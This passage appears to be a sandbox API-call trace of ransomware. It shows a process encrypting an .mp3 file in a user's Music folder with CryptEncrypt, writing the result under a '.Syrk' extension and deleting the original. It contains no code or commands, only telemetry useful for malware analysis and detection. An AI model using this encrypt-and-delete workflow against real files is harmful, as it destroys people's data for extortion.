"c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3")) returned 0x20 [0242.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.269] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.269] EtwEventActivityIdControl () returned 0x0 [0242.269] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.270] EtwEventActivityIdControl () returned 0x0 [0242.270] EtwEventActivityIdControl () returned 0x0 [0242.270] EtwEventActivityIdControl () returned 0x0 [0242.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.271] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.271] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0242.271] GetFileType (hFile=0x454) returned 0x1 [0242.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.271] GetFileType (hFile=0x454) returned 0x1 [0242.271] EtwEventActivityIdControl () returned 0x0 [0242.272] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.272] EtwEventActivityIdControl () returned 0x0 [0242.272] EtwEventActivityIdControl () returned 0x0 [0242.272] EtwEventActivityIdControl () returned 0x0 [0242.273] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0242.291] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk", lpFilePart=0x0) returned 0x56 [0242.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0242.291] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d4 [0242.292] GetFileType (hFile=0x1d4) returned 0x1 [0242.292] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0242.292] GetFileType (hFile=0x1d4) returned 0x1 [0242.292] EtwEventActivityIdControl () returned 0x0 [0242.292] CryptGenRandom (in: hProv=0x3742b0, dwLen=0x10, pbBuffer=0x2500244 | out: pbBuffer=0x2500244) returned 1 [0242.293] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.294] CryptDuplicateKey (in: hKey=0x5c99520, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c995e0) returned 1 [0242.294] CryptContextAddRef (hProv=0x3742b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0242.294] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x4, pbData=0x250157c*=0x1, dwFlags=0x0) returned 1 [0242.294] CryptSetKeyParam (hKey=0x5c995e0, dwParam=0x1, pbData=0x2501548, dwFlags=0x0) returned 1 [0242.294] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.294] EtwEventActivityIdControl () returned 0x0 [0242.294] EtwEventActivityIdControl () returned 0x0 [0242.294] EtwEventActivityIdControl () returned 0x0 [0242.295] EtwEventActivityIdControl () returned 0x0 [0242.296] ReadFile (in: hFile=0x454, lpBuffer=0x25041b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25041b8*, lpNumberOfBytesRead=0x5a2e7d8*=0x8353, lpOverlapped=0x0) returned 1 [0242.297] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x25181d0*, pdwDataLen=0x5a2e7cc*=0x8350, dwBufLen=0x8350 | out: pbData=0x25181d0*, pdwDataLen=0x5a2e7cc*=0x8350) returned 1 [0242.298] WriteFile (in: hFile=0x1d4, lpBuffer=0x250032c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x250032c*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0242.299] WriteFile (in: hFile=0x1d4, lpBuffer=0x25191bc*, nNumberOfBytesToWrite=0x7364, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x25191bc*, lpNumberOfBytesWritten=0x5a2e7b0*=0x7364, lpOverlapped=0x0) returned 1 [0242.300] ReadFile (in: hFile=0x454, lpBuffer=0x25041b8, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x25041b8*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0242.300] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x252052c*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x252052c*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0242.300] CryptEncrypt (in: hKey=0x5c995e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2520548*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2520548*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0242.300] WriteFile (in: hFile=0x1d4, lpBuffer=0x250032c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x250032c*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0242.300] CloseHandle (hObject=0x1d4) returned 1 [0242.302] CloseHandle (hObject=0x454) returned 1 [0242.303] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.303] EtwEventActivityIdControl () returned 0x0 [0242.303] EtwEventActivityIdControl () returned 0x0 [0242.303] EtwEventActivityIdControl () returned 0x0 [0242.312] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3")) returned 0x20 [0242.315] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.315] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.316] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.316] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0242.316] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0242.316] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0242.316] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.316] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0242.316] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0242.317] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0242.317] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.317] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0242.317] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0242.317] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0242.317] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.317] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music" (normalized: "c:\\users\\keecfmwgj\\music")) returned 0x11 [0242.317] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0242.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music", nBufferLength=0x19, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music", lpFilePart=0x0) returned 0x18 [0242.318] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.318] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn")) returned 0x10 [0242.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x23 [0242.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", nBufferLength=0x23, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn", lpFilePart=0x0) returned 0x22 [0242.318] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.318] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02")) returned 0x10 [0242.318] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0242.319] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02", lpFilePart=0x0) returned 0x30 [0242.319] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.319] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq")) returned 0x10 [0242.319] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0242.319] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", nBufferLength=0x3d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ", lpFilePart=0x0) returned 0x3c [0242.319] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3")) returned 0x20 [0242.319] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.319] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.323] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0242.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.323] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.324] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3\\*" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0242.324] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0242.324] CoTaskMemAlloc (cb=0x404) returned 0x5c98368 [0242.325] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c98368, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0242.325] CoTaskMemFree (pv=0x5c98368) [0242.327] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3")) returned 0x20 [0242.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x52 [0242.327] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", nBufferLength=0x52, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3", lpFilePart=0x0) returned 0x51 [0242.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0242.327] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2531bb8 | out: lpFileInformation=0x2531bb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa85efa50, ftCreationTime.dwHighDateTime=0x1d98da4, ftLastAccessTime.dwLowDateTime=0x671f3d80, ftLastAccessTime.dwHighDateTime=0x1d995ff, ftLastWriteTime.dwLowDateTime=0x671f3d80, ftLastWriteTime.dwHighDateTime=0x1d995ff, nFileSizeHigh=0x0, nFileSizeLow=0x8353)) returned 1 [0242.327] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0242.328] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3")) returned 1 [0242.330] EtwEventActivityIdControl () returned 0x0 [0242.330] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.330] EtwEventActivityIdControl () returned 0x0 [0242.330] EtwEventActivityIdControl () returned 0x0 [0242.330] EtwEventActivityIdControl () returned 0x0 [0242.344] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3.syrk")) returned 0x20 [0242.345] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3.syrk")) returned 0x20 [0242.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x57 [0242.345] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk", nBufferLength=0x57, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk", lpFilePart=0x0) returned 0x56 [0242.346] EtwEventActivityIdControl () returned 0x0 [0242.346] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.346] EtwEventActivityIdControl () returned 0x0 [0242.347] EtwEventActivityIdControl () returned 0x0 [0242.347] EtwEventActivityIdControl () returned 0x0 [0242.354] EtwEventActivityIdControl () returned 0x0 [0242.355] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.356] EtwEventActivityIdControl () returned 0x0 [0242.356] EtwEventActivityIdControl () returned 0x0 [0242.356] EtwEventActivityIdControl () returned 0x0 [0242.365] EtwEventActivityIdControl () returned 0x0 [0242.366] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.367] EtwEventActivityIdControl () returned 0x0 [0242.367] EtwEventActivityIdControl () returned 0x0 [0242.367] EtwEventActivityIdControl () returned 0x0 [0242.375] EtwEventActivityIdControl () returned 0x0 [0242.375] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.376] EtwEventActivityIdControl () returned 0x0 [0242.376] EtwEventActivityIdControl () returned 0x0 [0242.376] EtwEventActivityIdControl () returned 0x0 [0242.382] EtwEventActivityIdControl () returned 0x0 [0242.382] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0242.383] EtwEventActivityIdControl () returned 0x0 [0242.383] EtwEventActivityIdControl () returned 0x0 [0242.383] EtwEventActivityIdControl () returned 0x0 [0242.387] EtwEventActivityIdControl () returned 0x0 [0242.392] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0242.392] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Music\\sR45lfBmn\\HnGdqI3uzhk02\\qL4ItMgKfKQ\\RE3_9X-yu-SSwhMc.mp3.Syrk" (normalized: "c:\\users\\keecfmwgj\\music\\sr45lfbmn\\hngdqi3uzhk02\\ql4itmgkfkq\\re3_9x-yu-sswhmc.mp3.syrk"), fInfoLevelId=0x0, lpFileInformation=0x2540ac0 | out: lpFileInformation=0x2540ac0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc20f7d0, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0xc20f7d0, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0xc20f7d0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x8374)) returned 1 [0242.393] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0242.394] GetConsoleOutputCP () returned 0x1b5 [0242.395] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.396] GetConsoleOutputCP () returned 0x1b5 [0242.396] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.396] GetConsoleOutputCP () returned 0x1b5 [0242.396] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.396] GetConsoleOutputCP () returned 0x1b5 [0242.396] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0242.396] GetConsoleOutputCP () returned 0x1b5 [0242.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0242.397] GetConsoleOutputCP () returned 0x1b5 [0242.397] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0242.397] 